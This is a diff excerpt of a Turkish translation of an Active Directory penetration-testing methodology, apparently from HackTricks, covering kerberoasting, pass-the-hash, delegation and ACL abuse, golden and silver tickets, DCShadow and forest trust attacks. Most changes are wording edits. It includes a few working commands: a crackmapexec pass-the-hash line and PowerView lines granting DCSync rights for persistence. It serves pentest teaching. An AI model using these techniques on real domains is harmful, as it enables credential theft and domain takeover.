> Bu Listeleme bölümü küçük görünse de, bu tümünün en önemli kısmıdır. Bağlantılara erişin (özellikle cmd, powershell, powerview ve BloodHound olanlara), bir alanı nasıl listeleyeceğinizi öğrenin ve rahat hissettiğiniz zamana kadar pratik yapın. Bir değerlendirme sırasında, bu DA'ya ulaşmak veya hiçbir şey yapılamayacağına karar vermek için ana an olacaktır.
|
||||
|
||||
### Kerberoast
|
||||
|
||||
@ -185,11 +185,11 @@ kerberoast.md
|
||||
|
||||
### Uzaktan bağlantı (RDP, SSH, FTP, Win-RM, vb.)
|
||||
|
||||
Bazı kimlik bilgilerini elde ettikten sonra, herhangi bir **makineye** erişiminiz olup olmadığını kontrol edebilirsiniz. Bu amaçla, **CrackMapExec** kullanarak farklı protokollerle birkaç sunucuya bağlanmayı deneyebilirsiniz, port taramalarınıza göre.
|
||||
Bazı kimlik bilgilerini elde ettikten sonra, herhangi bir **makineye** erişiminiz olup olmadığını kontrol edebilirsiniz. Bu amaçla, **CrackMapExec** kullanarak farklı protokollerle birkaç sunucuya bağlanmayı deneyebilirsiniz; bu, port taramalarınıza göre olacaktır.
|
||||
|
||||
### Yerel Yetki Yükseltme
|
||||
|
||||
Eğer ele geçirilmiş kimlik bilgilerine veya bir oturuma sahipseniz ve bu kullanıcı ile **alan içindeki herhangi bir makineye erişiminiz varsa**, **yerel olarak yetki yükseltme yollarını bulmaya ve kimlik bilgilerini çalmaya** çalışmalısınız. Çünkü yalnızca yerel yönetici ayrıcalıkları ile **diğer kullanıcıların hash'lerini** bellekte (LSASS) ve yerel olarak (SAM) **dökmek** mümkün olacaktır.
|
||||
Eğer ele geçirilmiş kimlik bilgilerine veya bir oturumda normal bir alan kullanıcısı olarak erişiminiz varsa ve bu kullanıcı ile **alan içindeki herhangi bir makineye erişiminiz varsa**, **yerel olarak yetki yükseltme yollarını bulmaya ve kimlik bilgilerini çalmaya** çalışmalısınız. Çünkü yalnızca yerel yönetici ayrıcalıkları ile **diğer kullanıcıların** bellek (LSASS) ve yerel (SAM) içindeki hash'lerini **dökmek** mümkün olacaktır.
|
||||
|
||||
Bu kitapta [**Windows'ta yerel yetki yükseltme**](../windows-local-privilege-escalation/) hakkında bir sayfa ve bir [**kontrol listesi**](../checklist-windows-privilege-escalation.md) bulunmaktadır. Ayrıca, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) kullanmayı unutmayın.
|
||||
|
||||
@ -209,13 +209,13 @@ Eğer aktif dizini listelemeyi başardıysanız, **daha fazla e-posta ve ağ hak
|
||||
|
||||
### **Bilgisayar Paylaşımlarında Kimlik Bilgilerini Arayın**
|
||||
|
||||
Artık bazı temel kimlik bilgilerine sahip olduğunuza göre, **AD içinde paylaşılan ilginç dosyaları bulup bulamayacağınızı kontrol etmelisiniz**. Bunu manuel olarak yapabilirsiniz ama bu çok sıkıcı ve tekrarlayan bir görevdir (ve kontrol etmeniz gereken yüzlerce belge bulursanız daha da fazla).
|
||||
Artık bazı temel kimlik bilgilerine sahip olduğunuza göre, **AD içinde paylaşılan** herhangi bir **ilginç dosya bulup bulamayacağınızı kontrol etmelisiniz**. Bunu manuel olarak yapabilirsiniz ama bu çok sıkıcı ve tekrarlayan bir görevdir (ve kontrol etmeniz gereken yüzlerce belge bulursanız daha da fazla).
|
||||
|
||||
[**Kullanabileceğiniz araçlar hakkında bilgi almak için bu bağlantıyı takip edin.**](../../network-services-pentesting/pentesting-smb/#domain-shared-folders-search)
|
||||
[**Kullanabileceğiniz araçlar hakkında bilgi edinmek için bu bağlantıyı takip edin.**](../../network-services-pentesting/pentesting-smb/#domain-shared-folders-search)
|
||||
|
||||
### NTLM Kimlik Bilgilerini Çal
|
||||
|
||||
Eğer **diğer PC'lere veya paylaşımlara erişiminiz varsa**, **dosyalar yerleştirebilirsiniz** (örneğin bir SCF dosyası) ve bu dosyalar bir şekilde erişildiğinde, **sizinle NTML kimlik doğrulaması tetikleyecektir** böylece **NTLM zorluğunu çalabilir** ve onu kırabilirsiniz:
|
||||
Eğer **diğer PC'lere veya paylaşımlara erişiminiz varsa**, **dosyalar yerleştirebilirsiniz** (örneğin bir SCF dosyası) ve bu dosyaya bir şekilde erişildiğinde, **sizinle NTML kimlik doğrulaması tetiklenecektir** böylece **NTLM zorluğunu çalabilir** ve onu kırabilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
../ntlm/places-to-steal-ntlm-creds.md
|
||||
@ -231,7 +231,7 @@ printnightmare.md
|
||||
|
||||
## Aktif Dizin'de Yetki Yükseltme Özel Yetkiler/Kullanıcı Oturumu ile
|
||||
|
||||
**Aşağıdaki teknikler için normal bir alan kullanıcısı yeterli değildir, bu saldırıları gerçekleştirmek için bazı özel yetkilere/kimlik bilgilerine ihtiyacınız var.**
|
||||
**Aşağıdaki teknikler için normal bir alan kullanıcısı yeterli değildir, bu saldırıları gerçekleştirmek için bazı özel yetkilere/kullanıcılara ihtiyacınız var.**
|
||||
|
||||
### Hash çıkarımı
|
||||
|
||||
@ -242,7 +242,7 @@ Sonra, bellek ve yerel olarak tüm hash'leri dökme zamanı.\
|
||||
### Hash'i Geç
|
||||
|
||||
**Bir kullanıcının hash'ine sahip olduğunuzda**, onu **taklit etmek için** kullanabilirsiniz.\
|
||||
Bu **hash** ile **NTLM kimlik doğrulamasını gerçekleştirecek** bir **araç** kullanmalısınız, **ya da** yeni bir **oturum açma** oluşturup bu **hash'i** **LSASS** içine **enjekte** edebilirsiniz, böylece herhangi bir **NTLM kimlik doğrulaması yapıldığında**, o **hash kullanılacaktır.** Son seçenek, mimikatz'ın yaptığıdır.\
|
||||
Bu **hash** ile **NTLM kimlik doğrulamasını gerçekleştirecek** bir **araç** kullanmalısınız, **ya da** yeni bir **oturum açma** oluşturup **bu hash'i** **LSASS** içine **enjekte** edebilirsiniz, böylece herhangi bir **NTLM kimlik doğrulaması yapıldığında**, o **hash kullanılacaktır.** Son seçenek, mimikatz'ın yaptığıdır.\
|
||||
[**Daha fazla bilgi için bu sayfayı okuyun.**](../ntlm/#pass-the-hash)
|
||||
|
||||
### Hash'i Aşma/ Anahtarı Geç
|
||||
@ -275,7 +275,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
|
||||
### MSSQL Kötüye Kullanımı & Güvenilir Bağlantılar
|
||||
|
||||
Bir kullanıcının **MSSQL örneklerine erişim** yetkisi varsa, MSSQL ana bilgisayarında **komutlar çalıştırmak**, NetNTLM **hash**'ini **çalmak** veya hatta bir **relay** **saldırısı** gerçekleştirmek için bunu kullanabilir.\
|
||||
Ayrıca, bir MSSQL örneği başka bir MSSQL örneği tarafından güvenilir (veritabanı bağlantısı) olarak işaretlenmişse. Kullanıcı güvenilir veritabanı üzerinde yetkilere sahipse, **güven ilişkisini kullanarak diğer örnekte de sorgular çalıştırabilecektir**. Bu güven ilişkileri zincirlenebilir ve bir noktada kullanıcı, komutları çalıştırabileceği yanlış yapılandırılmış bir veritabanı bulabilir.\
|
||||
Ayrıca, bir MSSQL örneği başka bir MSSQL örneği tarafından güvenilir (veritabanı bağlantısı) olarak işaretlenmişse ve kullanıcı güvenilir veritabanı üzerinde yetkilere sahipse, **güven ilişkisini kullanarak diğer örnekte de sorgular çalıştırabilecektir**. Bu güven ilişkileri zincirlenebilir ve bir noktada kullanıcı, komutları çalıştırabileceği yanlış yapılandırılmış bir veritabanı bulabilir.\
|
||||
**Veritabanları arasındaki bağlantılar, orman güvenleri arasında bile çalışır.**
|
||||
|
||||
{{#ref}}
|
||||
@ -284,9 +284,9 @@ abusing-ad-mssql.md
|
||||
|
||||
### Sınırsız Delegasyon
|
||||
|
||||
[ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) niteliğine sahip herhangi bir Bilgisayar nesnesi bulursanız ve bilgisayarda alan yetkileriniz varsa, bilgisayara giriş yapan her kullanıcının bellekten TGT'lerini dökme yeteneğine sahip olursunuz.\
|
||||
Eğer [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) niteliğine sahip herhangi bir Bilgisayar nesnesi bulursanız ve bilgisayarda alan yetkileriniz varsa, bilgisayara giriş yapan her kullanıcının bellekten TGT'lerini dökme yeteneğine sahip olursunuz.\
|
||||
Yani, eğer bir **Domain Admin bilgisayara giriş yaparsa**, onun TGT'sini dökebilir ve [Pass the Ticket](pass-the-ticket.md) kullanarak onu taklit edebilirsiniz.\
|
||||
Sınırlı delegasyon sayesinde, **bir Yazıcı Sunucusunu otomatik olarak tehlikeye atabilirsiniz** (umarım bu bir DC olacaktır).
|
||||
Sınırlı delegasyon sayesinde, **bir Yazıcı Sunucusunu otomatik olarak ele geçirebilirsiniz** (umarım bu bir DC olacaktır).
|
||||
|
||||
{{#ref}}
|
||||
unconstrained-delegation.md
|
||||
@ -294,8 +294,8 @@ unconstrained-delegation.md
|
||||
|
||||
### Sınırlı Delegasyon
|
||||
|
||||
Bir kullanıcı veya bilgisayara "Sınırlı Delegasyon" izni verilmişse, bu, **bir kullanıcının bir bilgisayardaki bazı hizmetlere erişmek için herhangi bir kullanıcıyı taklit etmesine** olanak tanır.\
|
||||
Sonrasında, eğer bu kullanıcı/bilgisayarın **hash'ini tehlikeye atarsanız**, **herhangi bir kullanıcıyı** (hatta alan yöneticilerini) taklit ederek bazı hizmetlere erişebilirsiniz.
|
||||
Eğer bir kullanıcı veya bilgisayara "Sınırlı Delegasyon" izni verilmişse, bu, **bir kullanıcının bir bilgisayardaki bazı hizmetlere erişmek için taklit edilmesine** olanak tanır.\
|
||||
Sonrasında, eğer bu kullanıcı/bilgisayarın **hash'ini ele geçirirseniz**, **herhangi bir kullanıcıyı** (hatta alan yöneticilerini) taklit ederek bazı hizmetlere erişebilirsiniz.
|
||||
|
||||
{{#ref}}
|
||||
constrained-delegation.md
|
||||
@ -311,7 +311,7 @@ resource-based-constrained-delegation.md
|
||||
|
||||
### ACL'lerin Kötüye Kullanımı
|
||||
|
||||
Tehlikeye atılmış bir kullanıcının, bazı alan nesneleri üzerinde bazı **ilginç yetkilere** sahip olması, kullanıcının **yanal hareket etmesine**/**yetkileri yükseltmesine** olanak tanıyabilir.
|
||||
Kompromize olmuş bir kullanıcının, bazı alan nesneleri üzerinde **ilginç yetkilere** sahip olması, kullanıcının **yanal hareket etmesine**/**yetkileri yükseltmesine** olanak tanıyabilir.
|
||||
|
||||
{{#ref}}
|
||||
acl-persistence-abuse/
|
||||
@ -327,7 +327,7 @@ printers-spooler-service-abuse.md
|
||||
|
||||
### Üçüncü Taraf Oturumlarının Kötüye Kullanımı
|
||||
|
||||
Eğer **diğer kullanıcılar** **tehlikeye atılmış** makineye **erişirse**, bellekten **kimlik bilgilerini toplamak** ve hatta **onların süreçlerine sinyaller enjekte etmek** mümkündür.\
|
||||
Eğer **diğer kullanıcılar** **kompromize** olmuş makineye **erişirse**, bellekten **kimlik bilgilerini toplamak** ve hatta **onların süreçlerine beacon enjekte etmek** mümkündür.\
|
||||
Genellikle kullanıcılar sisteme RDP aracılığıyla erişir, bu nedenle burada üçüncü taraf RDP oturumları üzerinde birkaç saldırı gerçekleştirme yöntemini bulabilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
@ -344,7 +344,7 @@ laps.md
|
||||
|
||||
### Sertifika Hırsızlığı
|
||||
|
||||
Tehlikeye atılmış makineden **sertifikaları toplamak**, ortam içinde yetkileri yükseltmenin bir yolu olabilir:
|
||||
Kompromize olmuş makineden **sertifikaları toplamak**, ortam içinde yetkileri yükseltmenin bir yolu olabilir:
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/certificate-theft.md
|
||||
@ -352,23 +352,23 @@ ad-certificates/certificate-theft.md
|
||||
|
||||
### Sertifika Şablonlarının Kötüye Kullanımı
|
||||
|
||||
Eğer **savunmasız şablonlar** yapılandırılmışsa, bunları kötüye kullanarak yetkileri yükseltmek mümkündür:
|
||||
Eğer **savunmasız şablonlar** yapılandırılmışsa, bunları yetkileri yükseltmek için kötüye kullanmak mümkündür:
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/domain-escalation.md
|
||||
{{#endref}}
|
||||
|
||||
## Yüksek Yetkili Hesap ile Post-Exploitasyon
|
||||
## Yüksek Yetkili Hesap ile Post-Exploitation
|
||||
|
||||
### Alan Kimlik Bilgilerini Dökme
|
||||
|
||||
**Domain Admin** veya daha iyi bir **Enterprise Admin** yetkisi elde ettiğinizde, **alan veritabanını** dökebilirsiniz: _ntds.dit_.
|
||||
Bir kez **Domain Admin** veya daha iyi bir **Enterprise Admin** yetkisi elde ettiğinizde, **alan veritabanını** dökebilirsiniz: _ntds.dit_.
|
||||
|
||||
[**DCSync saldırısı hakkında daha fazla bilgi burada bulunabilir**](dcsync.md).
|
||||
|
||||
[**NTDS.dit'i çalma hakkında daha fazla bilgi burada bulunabilir**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
|
||||
### Yetki Yükseltme Olarak Süreklilik
|
||||
### Privesc olarak Süreklilik
|
||||
|
||||
Daha önce tartışılan bazı teknikler süreklilik için kullanılabilir.\
|
||||
Örneğin, şunları yapabilirsiniz:
|
||||
@ -391,27 +391,27 @@ Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
|
||||
```
|
||||
|
||||
### Gümüş Bilet
|
||||
### Silver Ticket
|
||||
|
||||
**Gümüş Bilet saldırısı**, belirli bir hizmet için **geçerli bir Ticket Granting Service (TGS) biletinin** oluşturulmasını sağlar ve bu, **NTLM hash**'ini kullanarak yapılır (örneğin, **PC hesabının hash'i**). Bu yöntem, **hizmet yetkilerine erişmek** için kullanılır.
|
||||
**Silver Ticket saldırısı**, belirli bir hizmet için **geçerli bir Ticket Granting Service (TGS) bileti** oluşturur ve **NTLM hash**'ini kullanır (örneğin, **PC hesabının hash'i**). Bu yöntem, **hizmet yetkilerine erişmek** için kullanılır.
|
||||
|
||||
{{#ref}}
|
||||
silver-ticket.md
|
||||
{{#endref}}
|
||||
|
||||
### Altın Bilet
|
||||
### Golden Ticket
|
||||
|
||||
**Altın Bilet saldırısı**, bir saldırganın Active Directory (AD) ortamında **krbtgt hesabının NTLM hash'ine** erişim sağlamasıdır. Bu hesap, AD ağında kimlik doğrulama için gerekli olan tüm **Ticket Granting Tickets (TGT'ler)**'i imzalamak için kullanıldığı için özeldir.
|
||||
**Golden Ticket saldırısı**, bir saldırganın Active Directory (AD) ortamında **krbtgt hesabının NTLM hash'ine** erişim sağlamasıdır. Bu hesap, AD ağında kimlik doğrulama için gerekli olan tüm **Ticket Granting Tickets (TGT'ler)**'i imzalamak için kullanıldığı için özeldir.
|
||||
|
||||
Saldırgan bu hash'i elde ettiğinde, seçtiği herhangi bir hesap için **TGT'ler** oluşturabilir (Gümüş bilet saldırısı).
|
||||
Saldırgan bu hash'i elde ettiğinde, seçtiği herhangi bir hesap için **TGT'ler** oluşturabilir (Silver ticket saldırısı).
|
||||
|
||||
{{#ref}}
|
||||
golden-ticket.md
|
||||
{{#endref}}
|
||||
|
||||
### Elmas Bilet
|
||||
### Diamond Ticket
|
||||
|
||||
Bunlar, **yaygın altın bilet tespit mekanizmalarını atlayacak şekilde** sahte bir şekilde oluşturulmuş altın biletler gibidir.
|
||||
Bunlar, **yaygın golden ticket tespit mekanizmalarını atlayacak şekilde** sahte olarak oluşturulmuş golden ticket'lardır.
|
||||
|
||||
{{#ref}}
|
||||
diamond-ticket.md
|
||||
@ -441,7 +441,7 @@ Active Directory'deki **AdminSDHolder** nesnesi, **yetkili grupların** (Domain
|
||||
|
||||
### DSRM Kimlik Bilgileri
|
||||
|
||||
Her **Domain Controller (DC)** içinde bir **yerel yönetici** hesabı bulunur. Böyle bir makinede yönetici hakları elde ederek, yerel Yönetici hash'ini **mimikatz** kullanarak çıkartabilirsiniz. Ardından, bu parolanın **kullanımını etkinleştirmek** için bir kayıt defteri değişikliği gereklidir; bu, yerel Yönetici hesabına uzaktan erişim sağlar.
|
||||
Her **Domain Controller (DC)** içinde bir **yerel yönetici** hesabı bulunur. Böyle bir makinede yönetici hakları elde ederek, yerel Yönetici hash'ini **mimikatz** kullanarak çıkarabilirsiniz. Ardından, bu parolanın **kullanımını etkinleştirmek** için bir kayıt defteri değişikliği gereklidir; bu, yerel Yönetici hesabına uzaktan erişim sağlar.
|
||||
|
||||
{{#ref}}
|
||||
dsrm-credentials.md
|
||||
@ -463,7 +463,7 @@ acl-persistence-abuse/
|
||||
security-descriptors.md
|
||||
{{#endref}}
|
||||
|
||||
### İskelet Anahtar
|
||||
### Skeleton Key
|
||||
|
||||
**LSASS**'ı bellekte değiştirerek, tüm alan hesaplarına erişim sağlayan **evrensel bir parola** oluşturun.
|
||||
|
||||
@ -482,7 +482,7 @@ custom-ssp.md
|
||||
|
||||
### DCShadow
|
||||
|
||||
AD'de **yeni bir Domain Controller** kaydeder ve belirli nesnelerde **özellikleri** (SIDHistory, SPNs...) **güncellemeleri** **log bırakmadan** itmek için kullanır. **DA** yetkilerine sahip olmanız ve **kök alan** içinde olmanız gerekir.\
|
||||
AD'de **yeni bir Domain Controller** kaydeder ve belirli nesnelerde **özellikleri** (SIDHistory, SPN'ler...) **güncellemeleri** **log** bırakmadan **itme** işlemi yapar. **DA** yetkilerine sahip olmanız ve **kök alan** içinde olmanız gerekir.\
|
||||
Yanlış veri kullanırsanız, oldukça kötü loglar ortaya çıkacaktır.
|
||||
|
||||
{{#ref}}
|
||||
@ -491,7 +491,7 @@ dcshadow.md
|
||||
|
||||
### LAPS Sürekliliği
|
||||
|
||||
Daha önce, **LAPS parolalarını okuma iznine sahip olduğunuzda** yetkileri nasıl yükseltebileceğimizi tartıştık. Ancak, bu parolalar **sürekliliği sağlamak için** de kullanılabilir.\
|
||||
Daha önce, **LAPS parolalarını okuma iznine sahip olduğunuzda** yetkileri nasıl yükseltebileceğimiz hakkında konuştuk. Ancak, bu parolalar **sürekliliği sağlamak** için de kullanılabilir.\
|
||||
Kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
@ -500,42 +500,42 @@ laps.md
|
||||
|
||||
## Orman Yetki Yükseltme - Alan Güvenleri
|
||||
|
||||
Microsoft, **Ormanı** güvenlik sınırı olarak görmektedir. Bu, **tek bir alanın tehlikeye atılmasının, tüm Ormanın tehlikeye atılmasına yol açabileceği** anlamına gelir.
|
||||
Microsoft, **Ormanı** güvenlik sınırı olarak görmektedir. Bu, **tek bir alanın ele geçirilmesinin, tüm Ormanın ele geçirilmesine yol açabileceği** anlamına gelir.
|
||||
|
||||
### Temel Bilgiler
|
||||
|
||||
Bir [**alan güveni**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>), bir kullanıcının bir **alan** içindeki kaynaklara erişmesini sağlayan bir güvenlik mekanizmasıdır. Temelde, iki alanın kimlik doğrulama sistemleri arasında bir bağlantı oluşturur ve kimlik doğrulama doğrulamalarının sorunsuz bir şekilde akmasına olanak tanır. Alanlar bir güven oluşturduğunda, güvenin bütünlüğü için kritik olan belirli **anahtarları** **Domain Controller'ları (DC'ler)** arasında değiş tokuş eder ve saklar.
|
||||
Bir [**alan güveni**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>), bir **alan** kullanıcısının başka bir **alan** içindeki kaynaklara erişimini sağlayan bir güvenlik mekanizmasıdır. Temelde, iki alanın kimlik doğrulama sistemleri arasında bir bağlantı oluşturur ve kimlik doğrulama doğrulamalarının sorunsuz bir şekilde akmasına olanak tanır. Alanlar bir güven oluşturduğunda, güvenin bütünlüğü için kritik olan belirli **anahtarları** **Domain Controller'ları (DC'ler)** arasında değiş tokuş eder ve saklar.
|
||||
|
||||
Tipik bir senaryoda, bir kullanıcı **güvenilir bir alandaki** bir hizmete erişmek istiyorsa, önce kendi alanının DC'sinden **inter-realm TGT** olarak bilinen özel bir bilet talep etmelidir. Bu TGT, her iki alanın üzerinde anlaştığı bir **anahtar** ile şifrelenmiştir. Kullanıcı daha sonra bu TGT'yi **güvenilir alanın DC'sine** sunarak bir hizmet bileti (**TGS**) alır. Güvenilir alanın DC'si inter-realm TGT'yi başarılı bir şekilde doğruladıktan sonra, kullanıcıya hizmete erişim izni veren bir TGS verir.
|
||||
Tipik bir senaryoda, bir kullanıcı **güvenilir bir alandaki** bir hizmete erişmek istediğinde, önce kendi alanının DC'sinden **inter-realm TGT** olarak bilinen özel bir bilet talep etmelidir. Bu TGT, her iki alanın üzerinde anlaştığı bir **anahtar** ile şifrelenmiştir. Kullanıcı daha sonra bu TGT'yi **güvenilir alanın DC'sine** sunarak bir hizmet bileti (**TGS**) alır. Güvenilir alanın DC'si inter-realm TGT'yi başarılı bir şekilde doğruladığında, bir TGS vererek kullanıcıya hizmete erişim izni verir.
|
||||
|
||||
**Adımlar**:
|
||||
|
||||
1. **Domain 1**'deki bir **istemci bilgisayar**, **Domain Controller (DC1)**'den **Ticket Granting Ticket (TGT)** talep ederek süreci başlatır.
|
||||
2. İstemci başarılı bir şekilde kimlik doğrulandıysa, DC1 yeni bir TGT verir.
|
||||
1. **Domain 1**'deki bir **istemci bilgisayar**, **Domain Controller (DC1)**'den **Ticket Granting Ticket (TGT)** talep etmek için **NTLM hash**'ini kullanarak süreci başlatır.
|
||||
2. DC1, istemci başarılı bir şekilde kimlik doğrulandıysa yeni bir TGT verir.
|
||||
3. İstemci daha sonra **Domain 2**'deki kaynaklara erişmek için gereken **inter-realm TGT**'yi DC1'den talep eder.
|
||||
4. Inter-realm TGT, DC1 ve DC2 arasında iki yönlü alan güveni kapsamında paylaşılan bir **güven anahtarı** ile şifrelenmiştir.
|
||||
5. İstemci inter-realm TGT'yi **Domain 2'nin Domain Controller'ı (DC2)**'ye götürür.
|
||||
4. Inter-realm TGT, DC1 ve DC2 arasında iki yönlü alan güveni olarak paylaşılan bir **güven anahtarı** ile şifrelenmiştir.
|
||||
5. İstemci, inter-realm TGT'yi **Domain 2'nin Domain Controller'ı (DC2)**'ye götürür.
|
||||
6. DC2, inter-realm TGT'yi paylaşılan güven anahtarı ile doğrular ve geçerli ise, istemcinin erişmek istediği Domain 2'deki sunucu için bir **Ticket Granting Service (TGS)** verir.
|
||||
7. Son olarak, istemci bu TGS'yi sunucuya sunar; bu, sunucunun hesap hash'i ile şifrelenmiştir ve Domain 2'deki hizmete erişim sağlar.
|
||||
|
||||
### Farklı Güvenler
|
||||
|
||||
**Bir güvenin 1 yönlü veya 2 yönlü olabileceğini** belirtmek önemlidir. 2 yönlü seçeneklerde, her iki alan birbirine güvenecektir, ancak **1 yönlü** güven ilişkisi durumunda bir alan **güvenilir** ve diğeri **güvenen** alan olacaktır. Son durumda, **güvenilir alandan güvenen alana** yalnızca güvenen alan içindeki kaynaklara erişim sağlayabilirsiniz.
|
||||
**Bir güvenin 1 yönlü veya 2 yönlü olabileceğini** belirtmek önemlidir. 2 yönlü seçeneklerde, her iki alan birbirine güvenecektir, ancak **1 yönlü** güven ilişkisi durumunda bir alan **güvenilen** ve diğeri **güvenen** alan olacaktır. Son durumda, **güvenilen alandan güvenen alana** yalnızca güvenen alan içindeki kaynaklara erişim sağlanabilir.
|
||||
|
||||
Eğer Alan A, Alan B'ye güveniyorsa, A güvenen alan ve B güvenilir alandır. Ayrıca, **Alan A**'da bu bir **Çıkış güveni**; ve **Alan B**'de bu bir **Giriş güveni** olacaktır.
|
||||
Eğer Alan A, Alan B'ye güveniyorsa, A güvenen alan ve B güvenilen alandır. Ayrıca, **Alan A**'da bu bir **Çıkış güveni**; ve **Alan B**'de bu bir **Giriş güveni** olacaktır.
|
||||
|
||||
**Farklı güvenen ilişkileri**
|
||||
|
||||
- **Ana-Çocuk Güvenleri**: Bu, aynı orman içinde yaygın bir yapılandırmadır; burada bir çocuk alanı otomatik olarak ana alanı ile iki yönlü geçişli bir güvene sahiptir. Temelde, kimlik doğrulama talepleri ana ve çocuk arasında sorunsuz bir şekilde akabilir.
|
||||
- **Ana-Çocuk Güvenleri**: Bu, aynı orman içinde yaygın bir yapılandırmadır; burada bir çocuk alanı otomatik olarak ana alanı ile iki yönlü geçişli bir güvene sahiptir. Temelde, bu, kimlik doğrulama taleplerinin ana ve çocuk arasında sorunsuz bir şekilde akabileceği anlamına gelir.
|
||||
- **Çapraz Bağlantı Güvenleri**: "Kısa yol güvenleri" olarak adlandırılan bu güvenler, referans süreçlerini hızlandırmak için çocuk alanları arasında kurulur. Karmaşık ormanlarda, kimlik doğrulama referanslarının genellikle orman köküne kadar gitmesi ve ardından hedef alana inmesi gerekir. Çapraz bağlantılar oluşturarak, yolculuk kısaltılır; bu, coğrafi olarak dağılmış ortamlarda özellikle faydalıdır.
|
||||
- **Dış Güvenler**: Farklı, alakasız alanlar arasında kurulan bu güvenler doğası gereği geçişli değildir. [Microsoft'un belgelerine](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) göre, dış güvenler, mevcut ormanın dışında, orman güveni ile bağlı olmayan bir alandaki kaynaklara erişim için yararlıdır. Güvenlik, dış güvenlerle SID filtrelemesi ile artırılır.
|
||||
- **Dış Güvenler**: Farklı, alakasız alanlar arasında kurulan bu güvenler, doğası gereği geçişli değildir. [Microsoft'un belgelerine](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) göre, dış güvenler, mevcut ormanın dışında, orman güveni ile bağlı olmayan bir alandaki kaynaklara erişim için yararlıdır. Güvenlik, dış güvenlerle SID filtrelemesi ile artırılır.
|
||||
- **Ağaç-kök Güvenleri**: Bu güvenler, orman kök alanı ile yeni eklenen bir ağaç kökü arasında otomatik olarak kurulur. Genellikle karşılaşılmasa da, ağaç-kök güvenleri, yeni alan ağaçlarını bir ormana eklemek için önemlidir; bu, benzersiz bir alan adı korumalarına ve iki yönlü geçişliliği sağlamalarına olanak tanır. Daha fazla bilgi [Microsoft'un kılavuzunda](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) bulunabilir.
|
||||
- **Orman Güvenleri**: Bu tür bir güven, iki orman kök alanı arasında iki yönlü geçişli bir güven olup, güvenlik önlemlerini artırmak için SID filtrelemesi uygular.
|
||||
- **MIT Güvenleri**: Bu güvenler, Windows dışındaki [RFC4120 uyumlu](https://tools.ietf.org/html/rfc4120) Kerberos alanları ile kurulur. MIT güvenleri, Windows ekosisteminin dışındaki Kerberos tabanlı sistemlerle entegrasyon gerektiren ortamlara yönelik daha özel bir yapıdadır.
|
||||
|
||||
#### **Güvenen ilişkilerdeki diğer farklılıklar**
|
||||
|
||||
- Bir güven ilişkisi **geçişli** (A güveniyor B'ye, B güveniyor C'ye, o zaman A güveniyor C'ye) veya **geçişli olmayan** olabilir.
|
||||
- Bir güven ilişkisi **geçişli** (A güveniyor B, B güveniyor C, o zaman A güveniyor C) veya **geçişli olmayan** olabilir.
|
||||
- Bir güven ilişkisi **iki yönlü güven** (her ikisi de birbirine güvenir) veya **bir yönlü güven** (sadece biri diğerine güvenir) olarak kurulabilir.
|
||||
|
||||
### Saldırı Yolu
|
||||
@ -543,15 +543,15 @@ Eğer Alan A, Alan B'ye güveniyorsa, A güvenen alan ve B güvenilir alandır.
|
||||
1. **Güvenen ilişkileri** listeleyin
|
||||
2. Herhangi bir **güvenlik ilkesi** (kullanıcı/grup/bilgisayar) **diğer alanın** kaynaklarına **erişime** sahip olup olmadığını kontrol edin; belki ACE girişleri veya diğer alanın gruplarında yer alarak. **Alanlar arası ilişkileri** arayın (güven bu nedenle oluşturulmuş olabilir).
|
||||
1. Bu durumda kerberoast başka bir seçenek olabilir.
|
||||
3. **Hesapları tehlikeye atın** ve **alanlar arası geçiş** yapın.
|
||||
3. **Hesapları ele geçirin** ve **alanlar arasında geçiş yapın**.
|
||||
|
||||
Saldırganlar, başka bir alandaki kaynaklara erişim sağlamak için üç ana mekanizma kullanabilir:
|
||||
|
||||
- **Yerel Grup Üyeliği**: İlkeler, makinelerdeki yerel gruplara eklenebilir; örneğin, bir sunucudaki “Yöneticiler” grubu, onlara o makine üzerinde önemli kontrol sağlar.
|
||||
- **Yerel Grup Üyeliği**: İlkeler, makinelerdeki yerel gruplara eklenebilir; örneğin, bir sunucudaki "Yöneticiler" grubu, o makine üzerinde önemli kontrol sağlar.
|
||||
- **Yabancı Alan Grup Üyeliği**: İlkeler, yabancı alandaki grupların üyeleri de olabilir. Ancak, bu yöntemin etkinliği güvenin doğasına ve grubun kapsamına bağlıdır.
|
||||
- **Erişim Kontrol Listeleri (ACL'ler)**: İlkeler, belirli kaynaklara erişim sağlamak için bir **ACL**'de, özellikle bir **DACL** içindeki **ACE'ler** olarak belirtilmiş olabilir. ACL'ler, DACL'ler ve ACE'ler hakkında daha derinlemesine bilgi edinmek isteyenler için “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” başlıklı beyaz kağıt değerli bir kaynaktır.
|
||||
|
||||
### Çocuktan Ana Orman Yetki Yükseltmesi
|
||||
### Çocuktan Ana orman yetki yükseltmesi
|
||||
```
|
||||
Get-DomainTrust
|
||||
|
||||
@ -564,47 +564,47 @@ WhenCreated : 2/19/2021 1:28:00 PM
|
||||
WhenChanged : 2/19/2021 1:28:00 PM
|
||||
```
|
||||
> [!WARNING]
|
||||
> **2 güvenilir anahtar** vardır, biri _Child --> Parent_ için ve diğeri _Parent_ --> _Child_ için.\
|
||||
> Mevcut alan tarafından kullanılanı şu komutla bulabilirsiniz:
|
||||
